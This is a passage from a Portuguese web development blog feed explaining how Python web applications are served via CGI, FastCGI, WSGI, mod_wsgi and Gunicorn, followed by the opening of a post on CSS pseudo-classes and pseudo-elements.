&lt;p&gt;Essa mudança de arquitetura acaba influenciando na escrita das
aplicações &lt;em&gt;web&lt;/em&gt;, trazendo alterações marcantes em comparação aos
programas escritos para o bom e velho &lt;em&gt;CGI&lt;/em&gt;. Por exemplo, você terá que
&lt;a href=&quot;http://redmine.lighttpd.net/projects/1/wiki/Docs_ModFastCGI#FastCGI-and-Programming-Languages&quot; title=&quot;Lighttp - the FastCGI Interface&quot;&gt;recompilar o seu &lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; com a &lt;em&gt;flag&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;—enable-fast-cgi&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;O site oficial do &lt;em&gt;FastCGI&lt;/em&gt; possui um bom exemplo de implementação de
uma &lt;a href=&quot;http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch2c.htm&quot; title=&quot;Developing FastCGI Applications in C&quot;&gt;aplicação em &lt;em&gt;C&lt;/em&gt; com &lt;em&gt;FastCGI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;O Web Server Gateway Interface&lt;/h2&gt;
&lt;p&gt;No universo &lt;em&gt;Python&lt;/em&gt; começaram a aparecer diferentes formas de
comunicação entre servidor e aplicação, seja com &lt;em&gt;CGI&lt;/em&gt;, &lt;em&gt;FastCGI&lt;/em&gt;, &lt;a href=&quot;http://www.modpython.org/&quot; title=&quot;Leia mais sobre o mod_python&quot;&gt;&lt;em&gt;mod
python&lt;/em&gt;&lt;/a&gt; ou até mesmo com &lt;em&gt;APIs&lt;/em&gt; próprias e não padronizadas. Isso
acarretou no seguinte cenário: A escolha de um &lt;em&gt;framework&lt;/em&gt; influenciava
diretamente na escolha do servidor &lt;em&gt;web&lt;/em&gt;, e geralmente o &lt;em&gt;framework&lt;/em&gt;
escolhido era “incompatível” com os demais disponíveis para uso.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;WSGI&lt;/em&gt; é uma &lt;a href=&quot;http://www.python.org/dev/peps/pep-0333/&quot; title=&quot;Leia a PEP 333, especificação do WSGI&quot;&gt;especificação&lt;/a&gt; que tem por objetivo garantir que o
desenvolvedor da aplicação não se preocupe com qual servidor &lt;em&gt;web&lt;/em&gt; será
escolhido, bem como o profissional responsável pelo servidor &lt;em&gt;web&lt;/em&gt; não
se preocupe com a arquitetura escolhida pela aplicação. Uma forma
“universal” de proporcionar interoperabilidade entre servidores e
aplicações escritas em &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Veja um exemplo de &lt;em&gt;script Python&lt;/em&gt; utilizando o protocolo &lt;em&gt;CGI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;#!/usr/bin/python&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; os &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; environ


&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Content-Type: text/html\n\n&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;html&gt;&amp;lt;body&gt;Hello %s!&amp;lt;/body&gt;&amp;lt;/html&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; environ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;REMOTE_ADDR&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Seguindo a especificação do &lt;em&gt;WSGI&lt;/em&gt;, devemos servir nossa aplicação da
seguinte maneira:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;#!/usr/bin/python&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;application&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; start_response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    start_response&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;200 OK&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;text/html&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;html&gt;&amp;lt;body&gt;Hello %s&amp;lt;/body&gt;&amp;lt;/html&gt;&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; environ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;REMOTE_ADDR&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Encapsulamos a nossa entrega em uma função chamada &lt;code class=&quot;language-text&quot;&gt;application&lt;/code&gt;, e
nela possuímos dois parâmetros: &lt;code class=&quot;language-text&quot;&gt;environ&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;start_response&lt;/code&gt;. O
primeiro é responsável por informar quais as variáveis ambientais que
temos à nossa disposição. O segundo, nomeado como &lt;code class=&quot;language-text&quot;&gt;start_response&lt;/code&gt;, é
na verdade uma função de &lt;em&gt;callback&lt;/em&gt; onde informamos o &lt;em&gt;status code&lt;/em&gt; e
demais cabeçalhos para resposta.&lt;/p&gt;
&lt;p&gt;Por fim, retornamos ao servidor &lt;em&gt;web&lt;/em&gt; o nosso &lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt;. O servidor
&lt;em&gt;web&lt;/em&gt; pode “iterar” sobre a aplicação, retornando conteúdo ao usuário
conforme a aplicação for retornando conteúdo para ele. Neste caso,
utilizamos na resposta um tipo &lt;a href=&quot;http://docs.python.org/2/library/stdtypes.html#sequence-types-str-unicode-list-tuple-bytearray-buffer-xrange&quot; title=&quot;Leia sobre tipos sequenciais no Python&quot;&gt;sequencial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Agora somos capazes de servir a aplicação através de &lt;em&gt;CGI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; wsgiref&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;handlers &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; CGIHandler

CGIHandler&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;run&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;application&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E até mesmo &lt;em&gt;FastCGI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; flup&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;server&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fcgi &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; WSGIServer

WSGIServer&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;application&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;run&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A biblioteca &lt;a href=&quot;http://docs.python.org/2/library/wsgiref.html&quot; title=&quot;Saiba mais direto da documentação do Python&quot;&gt;&lt;em&gt;wsgiref&lt;/em&gt;&lt;/a&gt; implementa as especificações do &lt;em&gt;WSGI&lt;/em&gt; e
provê ferramentas para a comunicação entre servidores e aplicações. No
segundo exemplo utilizamos a &lt;a href=&quot;http://trac.saddi.com/flup&quot; title=&quot;Saiba mais sobre&quot;&gt;&lt;em&gt;flup&lt;/em&gt;&lt;/a&gt;, uma biblioteca com algumas
soluções &lt;em&gt;WSGI&lt;/em&gt;, incluindo a possibilidade de servir aplicações
&lt;em&gt;FastCGI&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Com esse “código de cola”, basta &lt;a href=&quot;http://docs.python.org/2/howto/webservers.html&quot; title=&quot;HOWTO Use Python in the web&quot;&gt;configurar o seu servidor &lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;
favorito para servir a sua aplicação.&lt;/p&gt;
&lt;h3&gt;mod_wsgi&lt;/h3&gt;
&lt;p&gt;Uma vez construída a interface para a sua aplicação através do padrão
&lt;em&gt;WSGI&lt;/em&gt;, você pode serví-la em um servidor &lt;em&gt;Apache&lt;/em&gt; através do
&lt;a href=&quot;http://code.google.com/p/modwsgi/&quot; title=&quot;Página do módulo no Google Code&quot;&gt;mod_wsgi&lt;/a&gt;. Existem soluções equivalentes para outros servidores,
como por exemplo, no &lt;a href=&quot;http://klauslaube.com.br/tags/nginx/&quot; title=&quot;Leia mais sobre Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; temos o &lt;a href=&quot;http://wiki.nginx.org/NgxWSGIModule&quot; title=&quot;Veja mais na documentação do Nginx&quot;&gt;&lt;em&gt;NgxWSGIModule&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;mod&lt;/em&gt;wsgi&lt;em&gt;, você não precisa de nenhum “código de cola” (como
apresentado nos exemplos de _CGI&lt;/em&gt; e &lt;em&gt;FastCGI&lt;/em&gt;), basta &lt;a href=&quot;http://code.google.com/p/modwsgi/wiki/QuickConfigurationGuide&quot; title=&quot;Veja instruções para configurar o Apache com mod_wsgi&quot;&gt;configurar o seu &lt;em&gt;Apache&lt;/em&gt;&lt;/a&gt;
e apontar o seu script &lt;em&gt;WSGI&lt;/em&gt; através da instrução &lt;code class=&quot;language-text&quot;&gt;WSGIScriptAlias&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;VirtualHost *:80&gt;

    ServerName www.example.com
    ServerAlias example.com
    ServerAdmin webmaster@example.com

    DocumentRoot /usr/local/www/documents

    Alias /robots.txt /usr/local/www/documents/robots.txt
    Alias /favicon.ico /usr/local/www/documents/favicon.ico

    Alias /media/ /usr/local/www/documents/media/

    &amp;lt;Directory /usr/local/www/documents&gt;
    Order allow,deny
    Allow from all
    &amp;lt;/Directory&gt;

    WSGIScriptAlias / /usr/local/www/wsgi-scripts/wsgi.py

    &amp;lt;Directory /usr/local/www/wsgi-scripts&gt;
    Order allow,deny
    Allow from all
    &amp;lt;/Directory&gt;

&amp;lt;/VirtualHost&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma particularidade do mod_wsgi é a escolha de execução no modo
&lt;code class=&quot;language-text&quot;&gt;daemon&lt;/code&gt;, que opera de uma forma &lt;a href=&quot;http://code.google.com/p/modwsgi/#Server_Performance&quot; title=&quot;Leia mais sobre performance com mod_wsgi&quot;&gt;similar ao esquema utilizado pelo
&lt;em&gt;FastCGI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Servidores WSGI&lt;/h3&gt;
&lt;p&gt;Você pode utilizar servidores especialmente escritos para servir as suas
aplicações &lt;em&gt;WSGI&lt;/em&gt;, como por exemplo o &lt;a href=&quot;http://gunicorn.org/&quot; title=&quot;Veja mais sobre este servidor WSGI&quot;&gt;&lt;em&gt;Gunicorn&lt;/em&gt;&lt;/a&gt;, o &lt;a href=&quot;http://projects.unbit.it/uwsgi/&quot; title=&quot;Um rápido servidor WSGI escrito em C&quot;&gt;&lt;em&gt;uWSGI&lt;/em&gt;&lt;/a&gt; ou
até mesmo o &lt;a href=&quot;http://www.tornadoweb.org/documentation/wsgi.html&quot; title=&quot;Saiba mais sobre o suporte do Tornado ao WSGI&quot;&gt;&lt;em&gt;Tornado&lt;/em&gt;&lt;/a&gt;. Além da versatilidade e performance, a
facilidade é outra característica marcante em muitas dessas ferramentas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ gunicorn -w 4 -b 127.0.0.1:5000 wsgi:application&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No exemplo acima, levantamos o &lt;em&gt;Gunicorn&lt;/em&gt; na &lt;code class=&quot;language-text&quot;&gt;porta 5000&lt;/code&gt;, e
reservamos &lt;code class=&quot;language-text&quot;&gt;4 workers&lt;/code&gt; para servir a nossa aplicação.&lt;/p&gt;
&lt;p&gt;Além de diminuirmos a carga do servidor &lt;em&gt;web&lt;/em&gt;, e ganharmos um controle
mais apurado de memória e processos, ganhamos também o uso de &lt;em&gt;workers&lt;/em&gt;.
Por exemplo, o &lt;em&gt;Gunicorn&lt;/em&gt; trabalha com &lt;em&gt;pre-fork&lt;/em&gt; de &lt;em&gt;workers&lt;/em&gt;, onde um
processo “master” gerencia um conjunto de processos que são de fato os
responsáveis por servir a sua aplicação. Ganhamos mais uma ferramenta de
baixo custo para lidar com concorrência.&lt;/p&gt;
&lt;p&gt;Servidores &lt;em&gt;WSGI&lt;/em&gt; conseguem servir as aplicações sem o auxílio de um
&lt;em&gt;Apache&lt;/em&gt; ou &lt;em&gt;Nginx&lt;/em&gt;, mas uma prática muito comum hoje em dia é, “na
frente” de um &lt;em&gt;Gunicorn&lt;/em&gt; (por exemplo), termos um &lt;em&gt;Nginx&lt;/em&gt; servindo
estáticos, fazendo &lt;em&gt;caching&lt;/em&gt; e “aguentando porrada”, enquanto que o
servidor &lt;em&gt;WSGI&lt;/em&gt; está totalmente focado em servir o conteúdo dinâmico. O
servidor &lt;em&gt;web&lt;/em&gt; acaba fazendo uma espécie de &lt;a href=&quot;http://pt.wikipedia.org/wiki/Proxy_reverso&quot; title=&quot;Leia mais sobre Proxy Reverso na Wikipedia&quot;&gt;&lt;em&gt;proxy&lt;/em&gt; reverso&lt;/a&gt; e até
mesmo servindo como &lt;a href=&quot;http://wiki.nginx.org/LoadBalanceExample&quot; title=&quot;Veja exemplo de uso do Nginx como balanceador&quot;&gt;balanceador&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A comunicação entre servidores pode ser feita via &lt;em&gt;TCP&lt;/em&gt; ou &lt;em&gt;socket&lt;/em&gt;.
Isso nos dá uma série de vantagens, que vão desde a facilidade em
&lt;a href=&quot;http://docs.gunicorn.org/en/latest/design.html#how-many-workers&quot; title=&quot;Veja como utilizar workers com Gunicorn&quot;&gt;escalar&lt;/a&gt; e distribuir, até o &lt;em&gt;restart&lt;/em&gt; individual de serviços (por
exemplo, se a sua aplicação travar, você pode reiniciar apenas o
servidor &lt;em&gt;WSGI&lt;/em&gt; e não perder o &lt;em&gt;caching&lt;/em&gt; do servidor &lt;em&gt;web&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Um exemplo muito interessante de uso de servidores &lt;em&gt;WSGI&lt;/em&gt; é fazendo
&lt;a href=&quot;https://devcenter.heroku.com/articles/python#using-a-different-wsgi-server&quot; title=&quot;Using a different WSGI server - Heroku&quot;&gt;&lt;em&gt;deploy&lt;/em&gt; de aplicações &lt;em&gt;Python&lt;/em&gt; para o &lt;em&gt;Heroku&lt;/em&gt;&lt;/a&gt;. Configurar um
servidor &lt;a href=&quot;http://mirobetm.blogspot.com.br/2012/03/ive-been-lighttpd-fastcgi-django-user.html&quot; title=&quot;Gunicorn + Nginx - a much better way to deploy your Django website&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt; para se comunicar com servidores &lt;em&gt;WSGI&lt;/em&gt;&lt;/a&gt; também é
relativamente simples.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Um assunto muito interessante e que pretendo explorar mais aqui no
&lt;em&gt;blog&lt;/em&gt;, principalmente em relação a processos e &lt;em&gt;workers&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Servir aplicações &lt;em&gt;Python&lt;/em&gt; para a &lt;em&gt;web&lt;/em&gt; é algo relativamente simples,
limpo e elegante. Através do &lt;em&gt;WSGI&lt;/em&gt;, escalar aplicações passou a ser
algo quase trivial, que demanda pouco esforço. Combiná-los com o &lt;em&gt;Nginx&lt;/em&gt;
dão mais fôlego a sua aplicação (principalmente se estivermos falando do
&lt;em&gt;uWSGI&lt;/em&gt; ou &lt;a href=&quot;http://www.gevent.org/gevent.wsgi.html&quot; title=&quot;Servindo aplicações WSGI com gevent&quot;&gt;&lt;em&gt;gevent&lt;/em&gt;&lt;/a&gt;), e com um &lt;a href=&quot;http://puppetlabs.com/&quot; title=&quot;IT Automation Software for System Administrators&quot;&gt;sistema de provisionamento automático&lt;/a&gt;
podem facilitar e muito o seu trabalho de infraestrutura quando o consumo se tornar um problema.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/howto/deployment/fastcgi/&quot; title=&quot;Exemplo de uso do Django com FastCGI&quot;&gt;&lt;em&gt;Django Documentation – How to use Django with FastCGI, SCGI, or AJP&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.nongnu.org/fastcgi/&quot; title=&quot;Material muito interessante sobre o protocolo FastCGI e seu uso com C++&quot;&gt;&lt;em&gt;FastCGI – The Forgotten Treasure&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.fastcgi.com/drupal/node/6?q=node/15&quot; title=&quot;Um documento bem objetivo, detalhando os diferenciais em usar o FastCGI&quot;&gt;&lt;em&gt;FastCGI – A High-Performance Web Server Interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://gunicorn.org/&quot; title=&quot;Conheça o Gunicorn e descubra as vatangens de possuir um servidor WSGI&quot;&gt;&lt;em&gt;Gunicorn – Python WSGI HTTP Server for Unix&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.irt.org/articles/js172/&quot; title=&quot;Artigo de 1999 detalhando algumas características do CGI e do FastCGI&quot;&gt;&lt;em&gt;irt.org – Speed Thrills: CGI Please... and Fast!&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.jmarshall.com/easy/cgi/portuguese/&quot; title=&quot;Bom artigo, resumindo muito bem o funcionamento do CGI&quot;&gt;&lt;em&gt;James Marshal&lt;/em&gt; – &lt;em&gt;CGI&lt;/em&gt; realmente fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/modwsgi/&quot; title=&quot;Veja a página oficial do projeto&quot;&gt;&lt;em&gt;modwsgi – Python WSGI adapter module for Apache&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/dev/peps/pep-0333/&quot; title=&quot;Leia a especificação direto do portal da linguagem Python&quot;&gt;&lt;em&gt;PEP 333 – Python Web Server Gateway Interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.python.org/howto/webservers.html&quot; title=&quot;Compreenda a diferença do uso do Python com CGI, FastCGI, mod_python, mod_wsgi e servidores WSGI&quot;&gt;&lt;em&gt;Python Documentation – HOWTO Use Python in the web&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.w3.org/CGI/&quot; title=&quot;Leia mais sobre a especificação do CGI&quot;&gt;&lt;em&gt;W3C – Common Gateway Interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Common_Gateway_Interface&quot; title=&quot;Leia mais no artigo da Wikipedia&quot;&gt;&lt;em&gt;Wikipedia – Common Gateway Interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/FastCGI&quot; title=&quot;Leia mais no artigo da Wikipedia&quot;&gt;&lt;em&gt;Wikipedia – FastCGI&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Web_Server_Gateway_Interface&quot; title=&quot;Leia mais no artigo da Wikipedia&quot;&gt;&lt;em&gt;Wikipedia – Web Server Gateway Interface&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.xml.com/pub/a/2006/09/27/introducing-wsgi-pythons-secret-web-weapon.html&quot; title=&quot;Artigo de 2006 explicando os principais benefícios do uso do WSGI&quot;&gt;&lt;em&gt;XML.com – Introducing WSGI: Python’s Secret Web Weapon&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[As pseudo-classes e os pseudo-elementos]]></title><description><![CDATA[O CSS tem diversas coisas legais. Uma quantidade
de propriedades, valores e funcionalidades, que por inúmeras vezes me
fogem da memória. Uma…]]></description><link>https://klauslaube.com.br/2012/09/05/pseudo-classes-e-os-pseudo-elementos.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/09/05/pseudo-classes-e-os-pseudo-elementos.html</guid><pubDate>Wed, 05 Sep 2012 09:42:49 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS&quot;&gt;&lt;em&gt;CSS&lt;/em&gt;&lt;/a&gt; tem diversas coisas legais. Uma quantidade
de propriedades, valores e funcionalidades, que por inúmeras vezes me
fogem da memória. Uma das coisas mais interessantes do &lt;em&gt;CSS&lt;/em&gt;, mas que
geralmente me confunde, são as &lt;strong&gt;pseudo-classes&lt;/strong&gt; e os
&lt;strong&gt;pseudo-elementos&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Então eu resolvi escrever este &lt;em&gt;post&lt;/em&gt;, e nele vou explicar a diferença e
aplicabilidade dos dois. Espero colaborar com outras mentes tão
preguiçosas na arte da lembrança, quanto a minha :)&lt;/p&gt;
&lt;h2&gt;Pseudo-classes&lt;/h2&gt;
&lt;p&gt;As pseudo-classes são muito úteis para fazermos manipulações
estruturais, ou alterações de estilos de forma dinâmica. Uma forma
interessante de pensarmos sobre pseudo-classes é que o seu resultado
pode ser obtido com &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;, através de eventos ou de seletores
(como o &lt;code class=&quot;language-text&quot;&gt;:eq&lt;/code&gt;). Com a ajuda deste artifício, conseguimos entregar uma
solução muito simples e funcional. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;#menu a&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blue&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;#menu a:hover&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; red&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Veja o exemplo no &lt;a href=&quot;http://jsfiddle.net/kplaube/vv7Yu/&quot; title=&quot;Exemplo de utilização de pseudo-classes&quot;&gt;&lt;em&gt;jsFiddle&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Na demonstração acima, utilizamos a pseudo-classe &lt;code class=&quot;language-text&quot;&gt;:hover&lt;/code&gt; para
alterar a cor do &lt;em&gt;link&lt;/em&gt; de azul para vermelho. O evento “hover” acontece
quando estamos com o mouse sobre o elemento. Outros eventos podem
acontecer, como o &lt;code class=&quot;language-text&quot;&gt;:active&lt;/code&gt; (quando pressionamos o botão do mouse
sobre o &lt;em&gt;link&lt;/em&gt;), e &lt;code class=&quot;language-text&quot;&gt;:visited&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Outro exemplo muito bom, é se precisássemos que apenas o primeiro item
fosse de cor laranja:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;#menu li:first-child a&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; orange&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Veja o exemplo no &lt;a href=&quot;http://jsfiddle.net/kplaube/vv7Yu/3/embedded/result/&quot; title=&quot;Exemplo de uso do first-child&quot;&gt;&lt;em&gt;jsFiddle&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note que o caso poderia ser resolvido adicionando uma classe “first” ao
primeiro elemento da lista, e atribuindo a propriedade &lt;strong&gt;color&lt;/strong&gt; à esta
classe. Mas com o uso de pseudo-classes, é possível economizar todo esse
esforço.&lt;/p&gt;
&lt;h2&gt;Pseudo-elementos&lt;/h2&gt;
&lt;p&gt;Os pseudo-elementos, assim como as pseudo-classes, levam à economia de
esforço, de interpretação de &lt;em&gt;Javascript&lt;/em&gt;, e de elementos
“não-semânticos”. Por exemplo, queremos que a primeira letra de um
parágrafo ganhe destaque:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;p&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
